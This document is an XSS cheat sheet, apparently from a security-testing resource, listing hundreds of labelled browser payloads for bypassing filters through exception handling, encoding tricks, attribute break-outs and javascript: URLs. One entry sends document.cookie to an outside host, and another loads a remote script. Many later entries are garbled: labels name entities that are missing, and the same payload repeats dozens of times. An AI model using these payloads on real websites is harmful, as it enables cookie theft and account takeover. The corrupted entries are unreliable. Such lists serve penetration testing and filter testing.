Cross-Site Scripting (XSS) Cheat Sheet

No parentheses using exception handling

<script>onerror=alert;throw 1</script>

No parentheses using exception handling no semi colons

<script>{onerror=alert}throw 1</script>

No parentheses using exception handling no semi colons using expressions

<script>throw onerror=alert,1</script>

No parentheses using exception handling and string eval on Chrome / Edge

<script>throw onerror=eval,'=alert\x281\x29'</script>

No parentheses using exception handling and string eval on Safari

<script>throw onerror=eval,'alert\x281\x29'</script>

No parentheses using exception handling and object eval on Firefox

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>

No parentheses using exception handling and object eval on Firefox / Safari

<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>

No parentheses using exception handling and location hash eval on all browsers

<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger?e:e.message</script>

No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers

<script>throw{},onerror=Uncaught=eval,h=location.hash,e={lineNumber:1,columnNumber:1,fileName:0,message:h[2]+h[1]+h},!!window.InstallTrigger?e:e.message</script>

No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers

<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>

No parentheses using ES6 hasInstance and instanceof with eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

No parentheses using ES6 hasInstance and instanceof with eval without .

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

No parentheses using location redirect

<script>location='javascript:alert\x281\x29'</script>

No parentheses using location redirect no strings

<script>window.name='alert(1)';</script><script>location=name</script>

No parentheses using template strings

<script>alert`1`</script>

No parentheses using template strings and location hash

<script>new Function`X${document.location.hash.substr`1`}`</script>

No parentheses or spaces, using template strings and location hash

<script>Function`X${document.location.hash.substr`1`}```</script>

XSS cookie exfiltration without parentheses, backticks or quotes

<video><source onerror=location=/\02.rs/+document.cookie>

XSS without greater than

<svg onload=alert(1)

XSS without greater using a HTML comment

<svg onload=alert(1)<!--

Array based destructuring using onerror

<script>throw[onerror]=[alert],1</script>

Destructuring using onerror

<script>var{a:onerror}={a:alert};throw 1</script>

Destructuring using default values and onerror

<script>var{haha:onerror=alert}=0;throw 1</script>

Vector using window.name

<script>window.name='javascript:alert(1)';</script><svg onload=location=name>

Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal

<script>window.name='javascript:alert(1)';function blah(){} blah(""+{a:location=name}+"")</script>

Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class

<script>window.name='javascript:alert(1)';function blah(){} blah(""+new class b{toString=e=>location=name}+"")</script>

Script tag using only uppercase

<SCRIPT SRC=HTTPS://PORTSWIGGER-LABS.NET/A.JS></SCRIPT>

Script tag using only uppercase using JSFuck and inline

<SCRIPT>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</SCRIPT>

window.name with onerror and throw

<script>throw onerror=eval,name</script>

location with onerror and throw

<script>throw onerror=eval,'/*'+location</script>

SVG with onerror, throw and document.URL

<svg onload="throw top.onerror=eval,'/*'+URL">

body with onerror, throw and location

<body onload="throw onerror=eval,'/*'+location">

ondevicemotion and URIError object

<script>ondevicemotion=setTimeout;Event.prototype.toString=URIError.prototype.toString;Event.prototype.message='alert\x281\x29'</script>

ondeviceorientation and Error object

<script>ondeviceorientation=setTimeout;Event.prototype.toString=Error.prototype.toString;Event.prototype.name='alert\x281\x29'</script>

ondeviceorientationabsolute and WebTransportError object

<script>ondeviceorientationabsolute=setTimeout;Event.prototype.toString=WebTransportError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>

onpagereveal and AggregateError object

<script>onpagereveal=setTimeout;Event.prototype.toString=AggregateError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>

onpageswap and EvalError object

<script>onpageswap=setTimeout;location='x';Event.prototype.toString=EvalError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>

onmessage and RangeError object

<iframe id=target></iframe><script>target.src='xss.php?x=<img/src/onerror=onmessage=setTimeout;Event.prototype.toString=RangeError.prototype.toString;Event.prototype.name="alert\x281\x29">';target.onload=setTimeout(function(){frames[0].postMessage("", "*")},100)</script>

onhashchange and Regex object

<script>onhashchange=setTimeout;location.hash=location;Event.prototype.flags='.call\x28alert\x281\x29\x29';Event.prototype.toString=/x/.toString</script>

onscroll and ReferenceError object

<script>onscroll=setTimeout;document.body.style.height='9999px';document.documentElement.scrollTop=1;Event.prototype.toString=ReferenceError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>

onscrollend and SyntaxError object

<script>onscrollend=setTimeout;document.body.style.height='9999px';document.documentElement.scrollTop=1;Event.prototype.toString=SyntaxError.prototype.toString;Event.prototype.name='alert\x281\x29'</script>

onselect and TypeError object

<input value=x autofocus onfocus="window.onselect=setTimeout;this.selectionStart=1;Event.prototype.toString=TypeError.prototype.toString;Event.prototype.message='alert\x281\x29'">

ontransitionstart / ontransitionend / ontransitionrun and Arrow function

<img/src/style=transition:0.1s onerror="window.ontransitionstart=setTimeout;this.style.opacity=0;Event.prototype.toString=x=>'alert\x281\x29'">

onload and DOMException object

<img/src/onerror="window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name='alert\x281\x29'">

onpageshow and WebTransportError object

<img/src/onerror=onpageshow=setTimeout;Event.prototype.toString=WebTransportError.prototype.toString;Event.prototype.name='alert\x281\x29'>

onerror and ReferenceError without throw

<img/src/onerror=window.onerror=eval;ReferenceError.prototype.name=';alert\x281\x29;var\x20Uncaught//';z>

SVG onerror and XSS new constructor

<svg onload=onerror=eval;new'"-alert\x281\x29//'>

onerror and new operator on window name

<script>onerror=eval,new name</script>

onerror and Error object on Firefox and Safari

<script>throw onerror=eval,x=new Error,x.message='alert\x281\x29',x</script>

onerror and Error object on Chrome

<script>throw onerror=eval,x=new Error,x.name='',x.message='=alert\x281\x29',x</script>

Redefining onerror and concealing the payload in attributes

<img src onerror=src=1,attributes[1].value=alt+id alt=ale id=rt&lpar;1&rpar;>

Attributes and SVG with payload concealed in window name

<script>window.name='alert(1)';</script><svg onload="attributes[0].value=name,new onload">

Attributes and SVG and onload event with payload concealed in URL and template strings

<svg onload="attributes[0].value=id+URL+id,new onload" id=`>

Attributes and input with onfocus event with payload concealed in URL and template strings

<input onfocus="attributes[0].value=id+URL+id,new onfocus" id=` autofocus>

Attributes and input with onclick event with payload concealed in URL and template strings requires two clicks

<input onclick=attributes[0].value='`'+URL+'`'>

Form action and input with payload concealed in window name

<form><input onclick="formAction=top.name,type='submit',new submit">

SVG and innerHTML to decode the URL then assign it with textContent payload concealed in URL

<svg onload=innerHTML=URL,innerHTML=textContent>

img and innerHTML to decode the URL then assign it with textContent payload concealed in URL

<img/src/onerror=innerHTML=URL,innerHTML=textContent>

innerHTML to decode the URL then eval it using textContent payload concealed in URL

<svg onload=innerHTML=URL,eval(textContent)>

innerHTML and outerHTML to avoid use of greater than

<svg onload=outerHTML=id id=<img/src/onerror=alert(1)&gt;

U+2028 separator (js_comment)


alert(1)

U+2029 separator (js_comment)


alert(1)

prompt() (js_string_single)

'-prompt(1)-'

confirm() (js_string_single)

'-confirm(1)-'

window[] access (js_string_single)

'-window['a'+'lert'](1)-'

template-literal `a` string + window[] access (js_string_single)

'-window[`a`+'lert'](1)-'

\u0061 escape (js_string_single)

'-\u0061lert(1)-'

\u{0061} escape (js_string_single)

'-\u{0061}lert(1)-'

\u{61} escape (js_string_single)

'-\u{61}lert(1)-'

\u{00000000000061} escape (js_string_single)

'-\u{00000000000061}lert(1)-'

self[] access (js_string_single)

'-self['a'+'lert'](1)-'

template-literal `a` string + self[] access (js_string_single)

'-self[`${`a`}lert`](1)-'

\a literal in string + self[] access (js_string_single)

'-self['\a'+'lert'](1)-'

\x61 escape + self[] access (js_string_single)

'-self['\x61'+'lert'](1)-'

\141 octal escape + self[] access (js_string_single)

'-self['\141'+'lert'](1)-'

/a/.source + self[] access (js_string_single)

'-self[/a/.source+/lert/.source](1)-'

atob.name[0] + self[] access (js_string_single)

'-self[atob.name[0]+'lert'](1)-'

atob.name[0] + self[] access (js_string_single) #2

'-self[atob.name[0]+'lert'](1)-'

String.fromCharCode(0x61) + self[] access (js_string_single)

'-self[String.fromCharCode(0x61)+'lert'](1)-'

String.fromCodePoint(0x61) + self[] access (js_string_single)

'-self[String.fromCodePoint(0x61)+'lert'](1)-'

10..toString(17) + self[] access (js_string_single)

'-self[10..toString(17)+'lert'](1)-'

10n.toString(17) + self[] access (js_string_single)

'-self[10n.toString(17)+'lert'](1)-'

0xa.toString(17) + self[] access (js_string_single)

'-self[0xa.toString(17)+'lert'](1)-'

0b1010.toString(17) + self[] access (js_string_single)

'-self[0b1010.toString(17)+'lert'](1)-'

0o12.toString(17) + self[] access (js_string_single)

'-self[0o12.toString(17)+'lert'](1)-'

atob('YQ==') + self[] access (js_string_single)

'-self[atob('YQ==')+'lert'](1)-'

unescape('%61') + self[] access (js_string_single)

'-self[unescape('%61')+'lert'](1)-'

decodeURI('%61') + self[] access (js_string_single)

'-self[decodeURI('%61')+'lert'](1)-'

decodeURIComponent('%61') + self[] access (js_string_single)

'-self[decodeURIComponent('%61')+'lert'](1)-'

+[] coercion + self[] access (js_string_single)

'-self['a'+[]+'lert'](1)-'

frames[] access (js_string_single)

'-frames['a'+'lert'](1)-'

globalThis[] access (js_string_single)

'-globalThis['a'+'lert'](1)-'

top[] access (js_string_single)

'-top['a'+'lert'](1)-'

parent[] access (js_string_single)

'-parent['a'+'lert'](1)-'

this[] access (js_string_single)

'-this['a'+'lert'](1)-'

alert`...` template (js_string_single)

'-alert`1`-'

; separator + throw onerror=alert (js_string_single)

';throw onerror=alert,1;'

LF separator + throw onerror=alert (js_string_single)

' throw onerror=alert,1 '

U+2028 separator + throw onerror=alert (js_string_single)

'
throw onerror=alert,1
'

U+2029 separator + throw onerror=alert (js_string_single)

'
throw onerror=alert,1
'

location=name (js_string_single)

'-[location=name]-'

location.href=name (js_string_single)

'-[location.href=name]-'

location=javascript: %XX paren (js_string_single)

'-[location='javascript:alert%281%29']-'

location=javascript: \xNN paren (js_string_single)

'-[location='javascript:alert\x281\x29']-'

location=javascript: \u paren + \u0028 escape (js_string_single)

'-[location='javascript:alert\u00281\u0029']-'

location=javascript: octal paren (js_string_single)

'-[location='javascript:alert\501\51']-'

Symbol.hasInstance+eval (js_string_single)

'-['alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}]-'

alternative JS syntax (event_handler_js_string_single)

'-alert(1)-'

' entity quote (event_handler_js_string_single)

'-alert(1)-'

' entity quote (with ;) (event_handler_js_string_single)

'-alert(1)-'

' entity quote (with ;) (event_handler_js_string_single)

'-alert(1)-'

&#x27 entity quote (no ;) (event_handler_js_string_single)

&#x27-alert(1)-&#x27

&#39 entity quote (no ;) (event_handler_js_string_single)

&#39-alert(1)-&#39

javascript: URL (attribute_href)

javaScript:alert(1)

javascript: URL via raw newline (inline) (attribute_href)

java script:alert(1)

javascript: URL via raw tab (inline) (attribute_href)

java script:alert(1)

javascript: URL via : entity (attribute_href)

javascript:alert(1)

javascript: URL via : entity (inline, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via &#58 entity in JS + : entity (inline, no ;) (attribute_href)

javascript&#58alert(1)

javascript: URL via : entity (inline, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via : entity (inline, no ;) (attribute_href)

javascript&#x3a-alert(1)

javascript: URL via 
 entity (inline) (attribute_href)

java
script:alert(1)

javascript: URL via 	 entity (inline) (attribute_href)

java	script:alert(1)

javascript: URL via 	 entity (inline, with ;) (attribute_href)

java	script:alert(1)

javascript: URL via 	 entity (inline, with ;) (attribute_href)

java	script:alert(1)

javascript: URL via 	 entity (inline, with ;) (attribute_href)

java	script:alert(1)

javascript: URL via 	 entity (inline, with ;) (attribute_href)

java	script:alert(1)

javascript: URL via 	 entity (inline, no ;) (attribute_href)

java&#x9script:alert(1)

javascript: URL via 	 entity (inline, no ;) (attribute_href)

java&#x00000000000009script:alert(1)

javascript: URL via 	 entity (inline, no ;) (attribute_href)

java&#9script:alert(1)

javascript: URL via 	 entity (inline, no ;) (attribute_href)

java&#00000000000009script:alert(1)

javascript: URL via 
 entity (prefix) (attribute_href)


javascript:alert(1)

javascript: URL via 	 entity (prefix) (attribute_href)

	javascript:alert(1)

javascript: URL via raw newline (prefix) (attribute_href)

javascript:alert(1)

javascript: URL via %09 tab prefix (attribute_href)

%09javascript:alert(1)

javascript: URL via space prefix (attribute_href)

%20javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via 	 entity (prefix, with ;) (attribute_href)

	javascript:alert(1)

javascript: URL via 
 entity (prefix, with ;) (attribute_href)


javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via 
 entity (prefix, with ;) (attribute_href)


javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via 	 entity (prefix, with ;) (attribute_href)

	javascript:alert(1)

javascript: URL via 
 entity (prefix, with ;) (attribute_href)


javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via 
 entity (prefix, with ;) (attribute_href)


javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

javascript: URL via  entity (prefix, with ;) (attribute_href)

javascript:alert(1)

atob.constructor() (js_string_single)

'-atob.constructor('a'+'lert(1)')()-'

btob.constructor() (js_string_single)

'-btob.constructor('a'+'lert(1)')()-'

Ink.constructor() (js_string_single)

'-Ink.constructor('a'+'lert(1)')()-'

HID.constructor() (js_string_single)

'-HID.constructor('a'+'lert(1)')()-'

GPU.constructor() (js_string_single)

'-GPU.constructor('a'+'lert(1)')()-'

when.constructor() (js_string_single)

'-when.constructor('a'+'lert(1)')()-'

find.constructor() (js_string_single)

'-find.constructor('a'+'lert(1)')()-'

print.constructor() (js_string_single)

'-print.constructor('a'+'lert(1)')()-'

Set.constructor() (js_string_single)

'-Set.constructor('a'+'lert(1)')()-'

{}.constructor.constructor() (js_string_single)

'-{}.constructor.constructor('a'+'lert(1)')()-'

''.constructor.constructor() (js_string_single)

'-''.constructor.constructor('a'+'lert(1)')()-'

[].constructor.constructor() (js_string_single)

'-[].constructor.constructor('a'+'lert(1)')()-'

0..constructor.constructor() (js_string_single)

'-0..constructor.constructor('a'+'lert(1)')()-'

0n.constructor.constructor() (js_string_single)

'-0n.constructor.constructor('a'+'lert(1)')()-'

createElement('script')+append (js_string_single)

'-[s=document.createElement('script'),s.append('a'+'lert(1)'),document.documentElement.append(s)]-'

location.replace(javascript:) (js_string_single)

'-location.replace('javascript:a\lert(1)')-'

location='javascript:a\lert(1)' (js_string_single)

'-[location='javascript:a\lert(1)']-'

attribute break-out with onfocus (slash-sep) +tabindex +autofocus (attribute_double)

"/onfocus=alert(1) tabindex=1 autofocus/

attribute break-out with onfocusin (slash-sep) +tabindex +autofocus (attribute_double)

"/onfocusin=alert(1) tabindex=1 autofocus/

attribute break-out with onmousemove (slash-sep) (attribute_double)

"/onmousemove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmouseenter (slash-sep) (attribute_double)

"/onmouseenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerenter (slash-sep) (attribute_double)

"/onpointerenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointermove (slash-sep) (attribute_double)

"/onpointermove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerover (slash-sep) (attribute_double)

"/onpointerover=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerrawupdate (slash-sep) (attribute_double)

"/onpointerrawupdate=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmousedown (slash-sep) (attribute_double)

"/onmousedown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmouseup (slash-sep) (attribute_double)

"/onmouseup=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerdown (slash-sep) (attribute_double)

"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerdown (slash-sep) (attribute_double) #2

"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onfocus (slash-sep) +autofocus (attribute_double)

"/onfocus=alert(1) autofocus/

attribute break-out with onfocusin (slash-sep) +autofocus (attribute_double)

"/onfocusin=alert(1) autofocus/

attribute break-out with onmousemove (slash-sep) (attribute_double) #2

"/onmousemove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmouseenter (slash-sep) (attribute_double) #2

"/onmouseenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerenter (slash-sep) (attribute_double) #2

"/onpointerenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointermove (slash-sep) (attribute_double) #2

"/onpointermove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerover (slash-sep) (attribute_double) #2

"/onpointerover=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerrawupdate (slash-sep) (attribute_double) #2

"/onpointerrawupdate=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmousedown (slash-sep) (attribute_double) #2

"/onmousedown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmouseup (slash-sep) (attribute_double) #2

"/onmouseup=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerdown (slash-sep) (attribute_double) #3

"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerdown (slash-sep) (attribute_double) #4

"/onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onfocus (unquoted) +autofocus (attribute_unquoted)

1 onfocus=alert(1) autofocus/

attribute break-out with onfocusin (unquoted) +autofocus (attribute_unquoted)

1 onfocusin=alert(1) autofocus/

attribute break-out with onmousemove (unquoted) (attribute_unquoted)

1 onmousemove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmouseenter (unquoted) (attribute_unquoted)

1 onmouseenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerenter (unquoted) (attribute_unquoted)

1 onpointerenter=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointermove (unquoted) (attribute_unquoted)

1 onpointermove=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerover (unquoted) (attribute_unquoted)

1 onpointerover=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerrawupdate (unquoted) (attribute_unquoted)

1 onpointerrawupdate=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerrawupdate (unquoted) (attribute_unquoted) #2

1 onpointerrawupdate=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onmouseup (unquoted) (attribute_unquoted)

1 onmouseup=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onpointerdown (unquoted) (attribute_unquoted)

1 onpointerdown=alert(1) style=position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0 /

attribute break-out with onfocus (quoted-handler) +autofocus (attribute_double)

"onfocus="alert(1)"/autofocus/

attribute break-out with onfocusin (quoted-handler) +autofocus (attribute_double)

"onfocusin="alert(1)"/autofocus/

attribute break-out with onmousemove (quoted-handler) (attribute_double)

"onmousemove="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onmouseenter (quoted-handler) (attribute_double)

"onmouseenter="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onpointerenter (quoted-handler) (attribute_double)

"onpointerenter="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onpointermove (quoted-handler) (attribute_double)

"onpointermove="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onpointerover (quoted-handler) (attribute_double)

"onpointerover="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onpointerrawupdate (quoted-handler) (attribute_double)

"onpointerrawupdate="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onmouseup (quoted-handler) (attribute_double)

"onmouseup="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

attribute break-out with onpointerdown (quoted-handler) (attribute_double)

"onpointerdown="alert(1)"style="position:fixed;width:100vw;height:100vh;z-index:100000;left:0;top:0" /

javascript: URL (iframe_src)

" srcdoc="<xss tabindex=1 autofocus onfocusin=alert(1)>"

<xss> with onfocus using atob.constructor() (html)

<xss tabindex=1 autofocus onfocus=atob.constructor('a'+'lert(1)')()>

<xss> with onfocus using btob.constructor() (html)

<xss tabindex=1 autofocus onfocus=btob.constructor('a'+'lert(1)')()>

